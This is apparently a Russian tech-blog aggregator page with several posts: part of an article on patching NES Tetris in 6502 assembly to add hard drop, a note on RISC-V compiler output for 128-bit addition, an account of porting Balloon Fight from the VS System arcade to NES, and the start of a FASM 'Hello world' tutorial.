BOARD_TILES);    // Test whether the tile is empty, breaking out of the loop if it is not    b.inst(Cmp(Immediate), EMPTY_TILE);    b.inst(Bne, LabelRelativeOffset("end-ghost-depth-loop"));}// Increment counter and loopb.inst(Inx, ());b.inst(Jmp(Absolute), "start-ghost-depth-loop");b.label("end-ghost-depth-loop");

Это приводит к тому, что IndexRegisterX содержит количество повторений цикла, которое также является вертикальным расстоянием от текущей фигуры до того места, где она окажется после падения. Для удобства эта функция вернёт результат через регистр аккумулятора:

// Return depth via accumulatorb.inst(Txa, ());  // transfer IndexRegisterX to accumulatorb.inst(Rts, ());  // return

Вот полный код замещающей функции обновления буфера DMA OAM:

b.label("oam-dma-buffer-update");// Call original function firstb.inst(Jsr(Absolute), 0x8A0A);// Compute distance from current piece to drop destination, placing result in accumulatorb.inst(Jsr(Absolute), "compute-hard-drop-distance");// Check if the distance is 0, and skip rendering the ghost piece in this caseb.inst(Beq, LabelRelativeOffset("after-render-ghost-piece"));// Render the ghost piece, passing the vertical offset argument in address 0x0028.b.inst(Sta(ZeroPage), 0x28);b.inst(Jsr(Absolute), "render-ghost-piece");b.label("after-render-ghost-piece");// Returnb.inst(Rts, ());

Результат:

Добавление контроллера для Hard Drop

Теперь, когда выполняется рендеринг призрачной фигуры, следующий шаг сделать так, чтобы при нажатии кнопки вверх на контроллере происходило мгновенное падение. Кнопка вверх не используется в Тетрисе, поэтому нам не нужно беспокоиться о потере некоторых функций, чтобы получить hard drop.

Как и в случае с добавлением контуров фигуры, я решил найти функцию, которую я мог бы заменить новой функцией, которая вызывает оригинал перед выполнением дополнительных действий, в этом случае проверяется, была ли нажата кнопка вверх, и выполняется мгновенное падение фигуры, если да.

Моя первая попытка состояла в том, чтобы найти код, который считывает регистр состояния контроллера 0x4016, но, похоже, существует довольно много косвенных связей между чтением этого регистра и обновлением состояния игры на основе того, какие кнопки нажимаются.

Моя вторая идея заключалась в том, чтобы настроить мой эмулятор для логирования каждой выполненной инструкции. Я загрузил Тетрис и прошёлся по меню, чтобы начать новую игру, а затем сохранил файл состояния. У моего эмулятора есть возможность запускать определённое количество кадров. Я настроил его на работу в 20 кадров, загрузил файл состояния и записал каждую инструкцию, не нажимая никаких элементов управления. Затем я повторил этот процесс, но на этот раз я нажимал левую кнопку на протяжении 20 кадров. Теперь у меня было два лога потока инструкций один без нажатых элементов управления, а второй с их нажатием. Само собой разумеется, что в первую очередь эти потоки различаются, когда программа в первый раз разветвляется по состоянию левой кнопки.

Конечно же:

@@ -116912,9 +116912,175 @@ 0x89B8  Lda(ZeroPage) 0xB5 0x89BA  And(Immediate) 0x03 0x89BC  Bne(Relative) 0x15-0x89BE  Lda(ZeroPage) 0xB6-0x89C0  And(Immediate) 0x03-0x89C2  Beq(Relative) 0x45+0x89D3  Lda(Immediate) 0x00+0x89D5  Sta(ZeroPage) 0x46+0x89D7  Lda(ZeroPage) 0xB6+0x89D9  And(Immediate) 0x01+0x89DB  Beq(Relative) 0x0F...

Перекрёстная ссылка с дизассемблированным ПЗУ, эта функция начинается с:

0x89AE  Lda(ZeroPage) 0x400x89B0  Sta(ZeroPage) 0xAE0x89B2  Lda(ZeroPage) 0xB60x89B4  And(Immediate) 0x040x89B6  Bne(Relative) 0x51 (relative: 0x51, absolute: 0x8A09)0x89B8  Lda(ZeroPage) 0xB50x89BA  And(Immediate) 0x030x89BC  Bne(Relative) 0x15 (relative: 0x15, absolute: 0x89D3)0x89BE  Lda(ZeroPage) 0xB60x89C0  And(Immediate) 0x030x89C2  Beq(Relative) 0x45 (relative: 0x45, absolute: 0x8A09)...

Это ветвление на основе содержимого адресов 0x00B5 и 0x00B6. Во время наблюдения за этими адресами в mesen во время затирания элементов управления у меня создаётся впечатление, что 0xB5 хранит различия между кадрами в состоянии контроллера, а 0xB6 хранит текущее состояние контроллера. Несмотря на то что тетрис не использует её, состояние кнопки вверх отражается в этих значениях.

Я запустил эту функцию так же, как и мою замену для обновления буфера DMA OAM. Всё, что он сделал, это вызвал исходную функцию и вернул:

b.label("handle-controls");// Call the original functionb.inst(Jsr(Absolute), 0x89AE);// Returnb.inst(Rts, ());

Теперь добавим проверку, нажата ли кнопка вверх. А пока просто телепортируем текущую фигуры на фиксированную высоту при нажатии кнопки:

b.label("handle-controls");const CONTROLLER_STATE: u8 = 0xB6;const CONTROLLER_BIT_UP: u8 = 0x08;// Call the original functionb.inst(Jsr(Absolute), 0x89AE);// Skip to the end if the UP bit of the controller state is not setb.inst(Lda(ZeroPage), CONTROLLER_STATE);b.inst(And(Immediate), CONTROLLER_BIT_UP);b.inst(Beq, LabelRelativeOffset("controller-end"));// Set the current piece's Y coordinate to 7b.inst(Lda(Immediate), 7);b.inst(Sta(ZeroPage), ZP_PIECE_COORD_Y);b.label("controller-end");// Returnb.inst(Rts, ());

Вот код в действии, когда я несколько раз нажимаю вверх:

Затем замените тестовую константу 7 на фактическое положение, в котором деталь окажется после резкого падения. Используйте функцию compute-hard-drop-distance, которую мы написали для рендеринга призрачной части, а затем просто добавьте текущую позицию фигуры, чтобы получить абсолютную координату Y, в которой он окажется после падения:

b.label("handle-controls");const CONTROLLER_STATE: u8 = 0xB6;const CONTROLLER_BIT_UP: u8 = 0x08;// Call the original functionb.inst(Jsr(Absolute), 0x89AE);// Skip to the end if the UP bit of the controller state is not setb.inst(Lda(ZeroPage), CONTROLLER_STATE);b.inst(And(Immediate), CONTROLLER_BIT_UP);b.inst(Beq, LabelRelativeOffset("controller-end"));// Compute distance from current piece to drop destination, placing result in accumulatorb.inst(Jsr(Absolute), "compute-hard-drop-distance");// Add the current piece's Y coordinateb.inst(Clc, ());b.inst(Adc(ZeroPage), ZP_PIECE_COORD_Y);// Update the current piece's Y coordinate with the resultb.inst(Sta(ZeroPage), ZP_PIECE_COORD_Y);b.label("controller-end");// Returnb.inst(Rts, ());

Выглядит неплохо!

Однако имеется небольшая проблема со скоростью. Похоже, что игра ожидает окончания текущего тика, прежде чем создать следующую фигуру. После hard dropa текущий тик должен немедленно закончиться и следующая фигура должна появиться без задержки.

Глядя на память с помощью mesen, можно увидеть, что есть счётчик по адресу 0x0045, который ведёт отсчёт до некоторого числа, а затем сбрасывается на следующем тике (когда текущая фигура перемещается вниз сама по себе). Чтобы узнать больше, я заставил свой эмулятор записывать все инструкции и запускать игру в течение 13 тиков. Я выбрал 13, потому что казалось маловероятным, что они генерируются случайно.

Во время этого прогона таймер истёк бы 13 раз. Где-то в логах инструкций есть связанная инструкция, которая была выполнена ровно 13 раз. Давайте найдём!

Логи инструкций находится в файле с именем /tmp/log.txt:

cat /tmp/log.txt | sort | uniq --count | sort --numeric-sort

Мы сортируем инструкции по частоте. Просматривая те, которые были выполнены 13 раз, я заметил:

13 0x8958  Lda(Immediate) 0x0013 0x895A  Sta(ZeroPage) 0x45

Это кажется актуальным, потому что он взаимодействует с таймером по адресу 0x0045!

Обращение к дизассемблированному коду этой инструкции:

0x8980  Lda(ZeroPage) 0x45    # load the timer value0x8982  Cmp(ZeroPage) 0xAF    # compare with the value at 0x00AF0x8984  Bpl(Relative) 0xD2 (relative: D2, absolute: 8958)  # branch if it was higher0x8986  Jmp(Absolute) 0x89720x8972  Rts(Implied)0x8958  Lda(Immediate) 0x00  # load 0 into the accumulator0x895A  Sta(ZeroPage) 0x45   # store the accumulator (0) in the timer

Две последние инструкции устанавливают значение таймера в 0, и они выполняются ровно 13 раз. Единственный способ получить эти инструкции через ветвь (0x8984), что означает, что условие ветвления выполняется только 13 раз вероятно, один раз за такт. Таким образом, вероятное повествование состоит в том, что таймер увеличивается на единицу каждый кадр, а кадр, в котором он становится больше значения в 0xAF, отмечает конец текущего тика, в этот момент таймер сбрасывается, и текущая фигура перемещается вниз.

Наблюдаем за 0x00AF в mesen, и это, кажется, максимальное значение, которого достигает таймер в 0x0045. Кроме того, когда вы завершаете уровень, значение 0x00AF уменьшается, что ускоряет игру! Поэтому после hard drop просто установите значение таймера на значение 0x00AF:

b.label("handle-controls");const CONTROLLER_STATE: u8 = 0xB6;const CONTROLLER_BIT_UP: u8 = 0x08;const TIMER: u8 = 0x45;const TIMER_MAX: u8 = 0xAF;// Call the original functionb.inst(Jsr(Absolute), 0x89AE);// Skip to the end if the UP bit of the controller state is not setb.inst(Lda(ZeroPage), CONTROLLER_STATE);b.inst(And(Immediate), CONTROLLER_BIT_UP);b.inst(Beq, LabelRelativeOffset("controller-end"));// Compute distance from current piece to drop destination, placing result in accumulatorb.inst(Jsr(Absolute), "compute-hard-drop-distance");// Add the current piece's Y coordinateb.inst(Clc, ());b.inst(Adc(ZeroPage), ZP_PIECE_COORD_Y);// Update the current piece's Y coordinate with the resultb.inst(Sta(ZeroPage), ZP_PIECE_COORD_Y);// Set the timer to its maximum valueb.inst(Lda(ZeroPage), TIMER);b.inst(Sta(ZeroPage), TIMER_MAX);b.label("controller-end");// Returnb.inst(Rts, ());

Выглядит лучше, но всё равно есть большая задержка, если вы очень быстро опустите первую фигуру во время первого тика. Оказывается, первый тик занимает больше времени, чем все остальные тики. Глядя на память в mesen, я заметил, что значение 0x004E увеличивается во время первого тика. Для всех остальных тиков он установлен на 0. Установка его на 0 после появления hard dropa решает проблему с синхронизацией.

b.label("handle-controls");const CONTROLLER_STATE: u8 = 0xB6;const CONTROLLER_BIT_UP: u8 = 0x08;const TIMER: u8 = 0x45;const TIMER_MAX: u8 = 0xAF;const TIMER_FIRST_TICK: u8 = 0x4E;// Call the original functionb.inst(Jsr(Absolute), 0x89AE);// Skip to the end if the UP bit of the controller state is not setb.inst(Lda(ZeroPage), CONTROLLER_STATE);b.inst(And(Immediate), CONTROLLER_BIT_UP);b.inst(Beq, LabelRelativeOffset("controller-end"));// Compute distance from current piece to drop destination, placing result in accumulatorb.inst(Jsr(Absolute), "compute-hard-drop-distance");// Add the current piece's Y coordinateb.inst(Clc, ());b.inst(Adc(ZeroPage), ZP_PIECE_COORD_Y);// Update the current piece's Y coordinate with the resultb.inst(Sta(ZeroPage), ZP_PIECE_COORD_Y);// Set the timer to its maximum valueb.inst(Lda(ZeroPage), TIMER);b.inst(Sta(ZeroPage), TIMER_MAX);// Clear the first tick timerb.inst(Lda(Immediate), 0x00);b.inst(Sta(ZeroPage), TIMER_FIRST_TICK);b.label("controller-end");// Returnb.inst(Rts, ());

Кажется, это работает!
Исходный код инструмента исправления доступен на github. Загрузите патч IPS, который применяет изменения, описанные в этом посте, здесь. Второй патч, который добавляет hard drop, но не визуализирует конечное положение фигуры, доступен здесь.

А если хотите создать свой игровой бестселлер, который, как и детище Алексея Пажитнова войдёт в историю приходите к нам на курс Разработчик игр на Unity, на котором мы рассказываем про все тонкости разработки игр.

Узнайте, как прокачаться в других специальностях или освоить их с нуля:

Другие профессии и курсы
Подробнее..

On commutativity of addition

27.04.2021 22:20:31 | Автор: admin
Does an assembly change, if we write (b + a) instead (a + b)?
Let's check out.

Let's write:
__int128 add1(__int128 a, __int128 b) {    return b + a;}

and compile it with risc-v gcc 8.2.0:

add1(__int128, __int128):
.LFB0:
.cfi_startproc
add a0,a2,a0
sltu a2,a0,a2
add a1,a3,a1
add a1,a2,a1
ret


Now write the following:

__int128 add1(__int128 a, __int128 b) {    return a + b;}

And get:

add1(__int128, __int128):
.LFB0:
.cfi_startproc
mv a5,a0
add a0,a0,a2
sltu a5,a0,a5
add a1,a1,a3
add a1,a5,a1
ret

The difference is obvious.

Now do the same using clang (rv64gc trunk). In both cases we get the same result:
add1(__int128, __int128): # @add1(__int128, __int128)
add a1, a1, a3
add a0, a0, a2
sltu a2, a0, a2
add a1, a1, a2
ret

The result is the same we got from gcc in the first case. Compilers are smart now, but not so smart yet.

Let's try to find out, what happened here and why. Arguments of a function __int128 add1(__int128 a, __int128 b) are passed through registers a0-a3 in the following order: a0 is a low word of a operand, a1 is a high word of a, a2 is a low word of b and a1 is the high word of b. The result is returned in the same order, with a low word in a0 and a high word in a1.

Then high words of two arguments are added and the result is located in a1, and for low words, the result is located in a0. Then the result is compared against a2, i.e. the low word of b operand. It is necessary to find out if an overflow has happened at an adding operation. If an overflow has happened, the result is less than any of the operands. Because the operand in a0 does not exist now, the a2 register is used for comparison. If a0 < a2, the overflow has happened, and a2 is set to 1, and to 0 otherwise. Then this bit is added to the hight word of the result. Now the result is located in (a1, a0).

Completely similar text is generated by Clang (rv32gc trunk) for the 32-bit core, if the function has 64-bit arguments and the result:

long long add1(long long a, long long b) {    return a + b;}

The assembler:
add1(long long, long long): # @add1(long long, long long)
add a1, a1, a3
add a0, a0, a2
sltu a2, a0, a2
add a1, a1, a2
ret

There is absolutely the same code. Unfortunately, a type __int128 is not supported by compilers for 32-bit architecture.

Here there is a slight possibility for the core microarchitecture optimization. Considering the RISC-V architecture standard, a microarchitecture can (but not has to) detect instruction pairs (MULH[[S]U] rdh, rs1, rs2; MUL rdl, rs1, rs2) and (DIV[U] rdq, rs1, rs2; REM[U] rdr, rs1, rs2) to process them as one instruction. Similarly, it is possible to detect the pair (add rdl, rs1, rs2; sltu rdh, rdl, rs1/rs2) and immediately set the overflow bit in the rdh register.
Подробнее..
Категории: C , Assembler , Компиляторы , Llvm , Risc-v , Optomization

Balloon Fight перенос с VS system на NES

28.03.2021 14:14:21 | Автор: admin

Предисловие

Итак, для начала хочется отметить, что хотя я и пишу в песочницу, это уже не первый мой текст на Хабре. Когда-то я писал how to для блога зарубежных ретроигроделов, а поскольку они зарубежные, статьи приходилось переводить на английский. И я был немного удивлен, обнаружив здесь переведённую обратно на русский язык статью об отладке игр для NES.

Вообще меня очень увлекает история аркадных автоматов, консолей, игр, и немножко программирование. О том, как программируют для NES в наши дни, я писал в другой making of статье, которую также публиковали на Хабре.

Сегодня я хотел бы попробовать запостить материал самостоятельно, и речь пойдет обо всём перечисленном сразу, и об аркадных автоматах, и о NES и о ретроиграх и об их отладке.

Игровые автоматы

История аркадных автоматов насчитывает уже почти 60 лет, их эволюция была яркой, хотя и недолгой. От механических, электромеханических и на дискретной логике, до серьезных устройств на серьезных микропроцессорах. Многие аркадные игры помимо того, что были официально портированы на другие платформы, становились источником вдохновения для других создателей игр, как любителей домашних бытовых компьютеров, так и профессионалов.

Buck Rogers: Planet of Zoom(Sega Z80-3D System) и его ремейк (БК 0010-01)Buck Rogers: Planet of Zoom(Sega Z80-3D System) и его ремейк (БК 0010-01)

Примеров прямого портирования и заимствований множество, поскреби игру для любимого ZX Spectrum или БК0010, и вполне может обнаружиться официальный или неофициальный порт, либо полное или частичное заимствование из аркадной игры. Современные студии видеоигр также черпали вдохновение у аркад (напр. Zuma Deluxe от Popcap games это аркадная Puzz Loop). Символы, узнаваемые сегодня для многих, пришли с аркадных автоматов (пришелец из Space invaders, предок шутеров). Начало многим жанрам видеоигр было положено на аркадных автоматах, пожалуй, исключая те, которые вообще не вписывались в концепцию аркадного автомата. Например, адвентюры и квесты. Автомат должен был заставить игрока побыстрее расстаться с монетой, через это игры на аркадах были в основном хардкорные по своей сложности, в отличие от своих портов на домашние игровые и неигровые системы.

R-Type (Irem M72) и его порт для ZX SpectrumR-Type (Irem M72) и его порт для ZX Spectrum

Аркады сегодня

На данный момент аркадных автоматов сохранилось не так много по очевидным причинам. Собирали их небольшими тиражами. Кроме того, площадь музея для коллекционера кабинетов будет стоить денег, а в квартире не поставишь десяток уникальных игр. Поэтому в качестве альтернативы можно использовать эмулятор MAME, поддерживаемый своим сообществом. В числе прочего, аркадам свойственна одна сложность они собирались на базе самого разнообразного железа, и воткнуть туда могли что угодно. Если у вашего ZX Spectrum всего один Z80, и вы умеете разрабатывать для ZX, то, вероятно, ваших знаний на аркадном поле боя хватит только лишь на то, чтобы управлять музыкальным чипом, которых, тоже могло быть два, три, или не быть вовсе, а вместо него бипер, а главный cpu, скажем, 6809. Вывод тоже не везде одинаковый, бывали и векторные экраны, и растровые, в общем, аркады изнутри это так круто, что как эмулировать некоторые из них, так и осталось тайной, над разгадкой которой бьются лучшие программисты эмуляторов. Бывали аркады на базе ZX Spectrum, причем один из них откровенный лохотрон, кажется, он назывался Тараканьи бега. Известны аркады на базе Dendy, в общем, аркадный автомат это, солянка процессоров и других устройств, некоторые из которых не документированы до сих пор. Аркадные автоматы это тема, о которой нужно говорить отдельно и развернуто, а пока чуть передвинемся во времени.

Dendy

Все любят Денди: так нас знакомили с этой консолью 30 лет назад. Не знаю, есть ли смысл рассказывать что такое Dendy для тех, кого интересуют хэштеги статьи, поэтому не буду углубляться в историю этой консоли. Могу лишь уточнить, что работала консоль на базе процессора 6502 с некоторыми отсутствующими фичами, а графикой управлял PPU, позволяющий одновременно отображать 13 цветов одновременно на слое задника, помимо которого Dendy имела слой спрайтов. Всё это было приправлено аппаратным скроллингом, неплохим звуком, суровым контролем качества со стороны Nintendo, профессиональным подходом к созданию саундтреков и графики для задников. Игры для Dendy были аддиктивные, кстати, в дальнейшем я буду называть консоль её американским именем NES. И, как и всякому ретро фанату, который предпочитает не задерживаться на одном процессоре, рано или поздно станут интересны аркадные автоматы, и одним из них стал я.

Contra (NES)Contra (NES)

Помимо других хитовых NES игр для двух игроков одновременно (Contra, Battle city), была довольно популярна ещё одна игра.

Balloon Fight

Balloon fight встречалась многим, кто застал эпоху NES, поскольку в некоторых странах (в частности, в России и Польше) игры распространялись с китайского рынка. Это были палёные картриджи, на которых китайские хакеры распространяли игры по вменяемым для российского рынка ценам.

Как и многие ранние игры, в Balloon fight можно было играть вдвоём одновременно. Кстати, в этом они и похожи на аркадные автоматы. Соревновательный эффект мотивирует вкинуть ещё одну монету, а то и две и больше, либо купить консоль для семейного пользования, и в дальнейшем докупать игры на картриджах.

Уже можно догадаться, эта игра пришла на NES с аркадных автоматов. Также она существовала в виде Game & Watch, была портирована на другие платформы (Gamecube, PC-88, MSX). Геймдизайнером этой игры был Ёсио Сакамото, в 1984 году её программировал Ивата Сатору для аркадного автомата VS system на базе NES. Это была типичная аркадная царь горы, в которой игроку предлагалось управлять истребителями, подвешенными к двум воздушным шарам, используемым в качестве средства передвижения. Бой происходил в воздухе, поэтому условием победы являлось лишение шаров остальных игроков, управляемых процессором. Враги так же имели способность летать, причем довольно неплохо, и лопать шары истребителей. Пролетая ближе к поверхности моря, игрок (и враги) рисковали быть атакованными морским чудовищем, которое немедленно отнимало жизнь, будучи произведенным успешно.

Как и в случае с многими другими автоматами для двух известных мне игр (вторая Wrecking Crew) этот был сделан в аркадном стиле не как все, здесь было два процессора 6502, два экрана, 4 джойстика. В один неофициальный кабинет Super Mario был добавлен Z80.

Теперь представьте, что вы играете вдвоём, но каждый на своём экране. Ваши персонажи синхронизированы, то есть первый игрок видит персонажа второго игрока на своём экране ровно с таким же поведением, которое ему задал со своего контроллера второй игрок, и наоборот, одним словом, это как Танчики (Battle city), только наверное круче, когда имеешь всё своё. Добавьте сюда возможность настроить игру, щёлкая DIP переключателями, стоимость игры (в монетах), для 1984 года это было неплохо.

NES и аркадная версии игры имели ряд отличий, и в один момент мне захотелось поиграть в аркадную версию именно на NES, и я решил попробовать портировать игру с аркадного автомата на консоль с минимумом изменений. Забегая вперёд, этот порт я в итоге реализовал, и, чтобы не раздувать размер статьи, опишу различия этих двух версий, и как они были реализованы на NES.

NES VS SYSTEM: графика

Владельцам NES эта игра знакома как одноэкранка, то есть, игра со статическим игровым 2D пространством, без скроллинга, яркий пример Battle city. В официальной NES версии сцена так же расположилась на один экран.

Balloon fight, лицензионная NES версияBalloon fight, лицензионная NES версия

У аркадного автомата же высота игрового поля была равна двум игровым экранам, а текущая сцена отображала при помощи скроллинга, имитирующего камеру.

Balloon fight для VS systemBalloon fight для VS system


У каждого процессора VS system было по своему личному PPU аж с двумя 8 килобайтными страничками тайловой графики. Для сравнения, у Super Mario 2 и Battle city одна 8к страничка.

Засчёт этого, заставка аркадной версии использовала более богатую уникальными тайлами графику, в отличие от NES.

Поскольку базовая конфигурация (NROM) картриджа NES имеет всего одну страничку графики, я решил использовать маппер CNROM на дискретной логике, позволяющий использовать 4 страницы графики. Две из них сохранили своё прежнее назначение, одна была использована на дополнительные нужды. Размер PRG (ПЗУ для кода) остался прежним 32 килобайта.

Каждый PPU аркадного автомата имел также два дополнительных (итого четыре, в отличие от двух на NES) килобайта VRAM, для отрисовки игрового пространства в ещё две экранные страницы PPU, которых не хватает на NES. Аркадная версия использовала всего два килобайта VRAM, поэтому проблем при портировании не возникло.

Последний шар аркадной бонусной игры имел табличку end и всякий раз разную высоту труб.

В NES версии задник всех бонус уровней одинаковыйВ NES версии задник всех бонус уровней одинаковыйАркадная версия игры расставляла разные трубы для каждой бонусной игрыАркадная версия игры расставляла разные трубы для каждой бонусной игры

Геймплей

Физика игроков в оригинальной NES версии была значительно менее дубовой, истребитель легко управлялся, аркадный автомат же не давал пощады, здесь персонаж обладал явно большей массой, и для вертикального полёта нужно было более интенсивно долбить кнопку.

Аркадная игра имела больше уникальных уровней. На обеих системах уровни зацикливались.

Искуственный интеллект аркадных врагов более суровый. Аркадный морской монстр более агрессивен. Кроме того, я ни разу не заметил, чтобы он напал на врагов истребителя, даже если они (враги) спускаются на парашюте, потеряв свой шар. В консольной версии монстр вполне охотно их употребляет.

Только консольная версия имеет режим Balloon trip, по сути отдельная мини игра с горизонтальным скроллингом. У меня была мысль поддержать этот режим и для порта, но я решил не усложнять маппер, кроме того, в PRG оставалось критически мало места, а для trip режима пришлось бы значительно переписывать код вывода и скроллинга уровня.

Анимация врагов перед тем, как они начнут заново накачивать шары (поворот головы вправо-влево), присутствует только в аркадной версии.

Звук и прочее

Аркадная Balloon fight имела дополнительный трек для экрана с вводом имени в таблицу рекордов, а также трек для начала второго и последующих уровней. Для старта первого уровня был предусмотрен отдельный джингл. В NES версии (официальной) ни таблицы рекордов, ни этих двух треков не было. Также в NES версии при коллизии игрока с бонусным мыльным пузырём использовался более короткий шумовой эффект, чем при уничтожении шаров противника. Я поправил этот недочет, и теперь порт NES лопает мыльные пузыри более реалистично. Также NES версия имела обрезанный вдвое трек game over, и, вероятно, при портировании/редактировании, этот трек обрёл резкий треск на последней ноте шумового канала.

Два процессора аркадного автомата обменивались данными при помощи дополнительного общего ОЗУ, а чтобы не наделать ошибок, синхронизировались между собой, передавая доступ к этому ОЗУ друг другу по очереди. Замечено, в MAME этот обмен данными почему-то эмулируется с ошибкой, либо что-то не то с дампами игры, но управление второго игрока на второстепенной консоли работает с рассинхроном, или есть другая причина для этого рассинхрона. Ошибка замечена только в Balloon fight, эмуляция кабинета Wrecking crew работает нормально. Возможно, что эмуляция точная, но это не точно.

По сути, это была сетевая игра на минималках, и хотя в игре есть поддержка игры для второго игрока, мне пришлось отключить игру на двоих, об этом будет ниже.

Два DIP переключателя контролировали параметры игры:

  • цена одного сеанса игры в монетах, либо количество сеансов за одну монету;

  • сложность игры;

  • количество жизней персонажа;

  • скорость регенерации и передвижения врагов;

  • количество очков, необходимых для получения дополнительной жизни.

Для обслуживания автомата (любого) назначался специальный человек (оператор), который инкассировал кабинет и настраивал его в зависимости от потока пользователей в помещении, где установлен автомат, их мастерства, и жадности владельца автомата, которые, возможно, такими сервисменами могли по совместительству и являться, но это уже не суть. Я предусмотрел альтернативу DIP переключателям, дописав к игре меню, для их поддержки. Разумеется, состояние переключателей не сохраняется, поэтому при рестарте консоли параметры сбросятся в состояние по умолчанию.

К слову, для хранения и маппинга тайлов к этому меню (отдельный шрифт и тайлы переключателей) и был использован третий тайлсет. Переключатели анимированы, то есть принимают положение on/off в зависимости от выставленных настроек.

Итак, первый DIP контролировал 3 бита значения цены сеанса игры. Второй всё остальное. Я поддержал работу только второго DIPа, цена игры (которая кодировалась первым DIPом) в портированной версии всегда равна одной монете за игру. Монеты начисляются кнопкой select.

Также я добавил дополнительный однобитовый переключатель A/B mode. Дело в том, что игры на аркадных автоматах не всегда давали игроку функцию автоповтора кнопок A и B. Turbo кнопки, которыми владели Dendy, являясь по сути своей, нелицензионными клонами NES, были бесполезными, поскольку не поднимали игрока в воздух вообще. Поэтому я реализовал эту возможность опциональной, предусмотрев управление как в лицензионной версии для NES, где функция rapid была предусмотрена. Я предпочитаю играть в аркадном режиме.

Активация DIP меню оформлена пасхалкой, также имеется и вторая пасхалка.

Пасхалок от авторов я либо ещё не нашёл, либо, и что скорее всего, они отсутствуют.

Чтобы понять как работает игра, мне пришлось дизассемблировать её, и, пересобрав, попробовать запустить в эмуляторе NES. Конечно, в силу особенностей железа, код запустился не сразу, и не сразу должным образом. У аркадного автомата были предусмотрены пользовательские прерывания, я же не имел возможности ими пользоваться, в силу того, что использовал простой маппер CNROM.

В процессе работы над дизассемблированным текстом я сделал и код и данные релоцируемыми, в оригинале же некоторый код был жестко приколочен к своим адресным пространствам. В оригинальном ROMе управление первого игрока было запараллелено на второго, поэтому я разделил управление, и добился корректной работы режима с двумя игроками, но тут возникла проблема. Если за одним экраном будут играть два игрока, то за чьим персонажем должна следить камера? А камера следила за первичным игроком. Консольная же версия игры, являясь одноэкранной, от камеры не страдала.

Напомню, что раздельные экраны VS system dual эту проблему решали. По всей видимости это и стало причиной для снабжения автомата дополнительными CPU, PPU и дисплеями, ведь здесь вполне могли подгонять железо под код игры, чем наоборот, при консольном подходе. Так, мне пришлось отключить поддержку второго игрока.

Lobby экран VS systemLobby экран VS systemLobby экран NES портLobby экран NES порт

В аркадной версии игрок мог потерять жизнь, если отошёл от управления, и истекло некоторое количество времени бездействия. В этом случае в персонажа прилетала стрела смерти и лопала все шары игрока. Время для ввода имени в таблицу рекордов тоже ограничено: автомат должен принимать следующего игрока или ещё одну монету, а не виснуть в бесконечных циклах.

Само собой, чтобы не раздувать картридж избыточным кодом, мне пришлось разобраться как игра выводит уровни и текст и воспользоваться её же движком для этого. В любом случае свободного пространства на картридже почти не осталось, несмотря на то, что я вырезал из кода многочисленные блоки повторяющихся байт $ff для подгонки кода к определенным адресам.

Также мне пришлось отключить опрос монетоприемников и передать функцию приёма монеты кнопке select.

Код, как и код многих игр, не самый аккуратный. Была встречена ошибка очистки общего ОЗУ при рестарте консоли. Неправильный бранч (BPL) не выполнял цикл. Его можно было бы поправить на BNE, но CNROM не имеет дополнительного ОЗУ в этом адресном диапазоне, и, как я уже отмечал выше, любые обращения к этому участку ОЗУ пришлось отключить.

Музыкально/звуковой движок игры довольно простой, и хранит мелодии в виде массивов нот и дополнительных для них параметров.

В заключении ещё раз вкратце приведу список изменений игры после порта с аркадного автомата на NES.

  1. Доступ к DIP переключателям в портированной версии был перенесён в другое место.

  2. Игра стала исключительно однопользовательской.

  3. Добавлена возможность автоповтора одной из кнопок джойстика для облегчения игры на консоли.

  4. Добавлен дополнительный звук для "хлопанья" вражеских шаров.

Это и многое другое найдёте в исходниках и ROM файле, которые можно найти на github страничке.

Подробнее..

Туториал по FASM (Windows x32 APIWin32API), Hello world!

29.05.2021 00:21:04 | Автор: admin

Коротко о FASM, ассемблере, WinAPI

  • Что такое FASM? - Это компилятор ассемблера (flat assembler).

  • Что такое ассемблер? - это машинные инструкции, то есть команды что делать процессору.

  • Что такое Windows API/WinAPI? - Это функции Windows, без них нельзя работать с Windows.

    Что дают WinAPI функции? - Очень много чего:

  • Работа с файлами.

  • Работа с окнами, отрисовка картинок, OpenGL, DirectX, GDI, и все в таком духе.

  • Взаимодействие с другими процессами.

  • Работа с портами.

  • Работа с консолью Windows

  • И еще очень много интересных функций.

Зачем нужен ассемблер?

На нем можно сделать все что угодно, от ОС до 3D игр.

Вот плюсы ассемблера:

  • Он очень быстрый.

  • На нем можно сделать любую программу.

А вот минусы ассемблера:

  • Долго делать программу. (относительно)

  • Сложен в освоении.

Что нужно для программирования на ассемблере (FASM)?

Установка компонентов (если можно так назвать)

Архив FASM-а распаковуем в C:\\FASM\ или любой другой, но потом не забудьте настроить FASMEditor.

Архив FASMEdit-a распаковуем куда-то, в моем случае C:\\FASM Editor 2.0\

Архив OlyDbg распаковуем тоже куда-то, в моем случае C:\\Users\****\Documents\FasmEditorProjects\

Настройка FASM Editor-a

Для этого его нужно запустить.

Сразу вас приветствует FASM Editor соей заставкой.

Теперь вам нужно зайти в вкладку "Сервис" (на картинке выделил синим) -> "Настройки..."

Жмем на кнопку с названием "..." и выбираем путь к файлам или папкам.

Теперь мы полностью готовы. К началу.

Пишем "Hello world!" на FASM

В Fasm Editor нужно нажать на кнопку слева сверху или "файл" -> "новый". Выбираем любое, но можно выбрать "Console"

По началу вас это может напугать, но не боимся и разбираемся.

format PE Console ; говорим компилятору FASM какой файл делатьentry start ; говорим windows-у где из этой каши стартовать программу.include 'win32a.inc' ; подключаем библиотеку FASM-а;можно и без нее но будет очень сложно.section '.data' data readable writeable ; секция данныхhello db 'hello world!',0 ; наша строка которую нужно вывестиsection '.code' code readable writeable executable ; секция кодаstart: ; метка стартаinvoke printf, hello ; вызываем функцию printf    invoke getch ; вызываем её для того чтоб программа не схлопнулась  ;то есть не закрылась сразу.    invoke ExitProcess, 0 ; говорим windows-у что у нас программа закончилась  ; то есть нужно программу закрыть (завершить)section '.idata' data import readable ; секция импорта        library kernel, 'kernel32.dll',\ ; тут немного сложней, объясню чуть позже                msvcrt, 'msvcrt.dll'    import kernel,\  ExitProcess, 'ExitProcess'            import msvcrt,\  printf, 'printf',\          getch, '_getch'

На самом деле из всей этой каши текста, команд всего 3: на 16, 18, 21 строках. (и то это не команды, а макросы. Мы к командам даже не подобрались)

Все остальное это просто подготовка программы к запуску.

Программа при запуске должна выглядеть так:

Самое интересное то что программа весит 2КБ. (Можно сократить и до 1КБ, но для упрощения и так пойдет)

Разбор: что значат этот весь текст?

На 1 строчке: "format PE Console" - это строчка говорит FASM-у какой файл скомпилировать, точнее 1 слово, все остальные слова это аргументы (можно так сказать).

PE - EXE файл, программа.

Console - говорим что это у нас консольная программа, но вам некто не мешает сделать из консольной программы оконную и наоборот.

